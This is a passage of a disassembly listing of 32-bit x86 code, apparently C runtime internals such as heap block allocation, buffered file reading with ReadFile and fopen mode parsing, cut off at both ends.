loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A990 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB9B4 cmp dword_4DB9B4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C9B0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C9B0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C9B0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A990 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_4271C4 ; VirtualAlloc cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C9B0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C9B0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DCC80[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43D010 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DCD80 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DCC80h[eax*4] mov eax, dword_4DCC80[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_4270E8 ; ReadFile test eax, eax jnz short loc_41F1E4 call dword_42708C ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB938, 9 mov dword_4DB93C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_4270E8 ; ReadFile test eax, eax jnz short loc_41F285 call dword_42708C ; RtlGetLastWin32Error test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB93C, 0 mov dword_4DB938, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB9B8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBB24 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DBB20 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DCC60 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DBC58 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DBC58 mov [edi+ecx], eax mov eax, dword_4DBC58 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 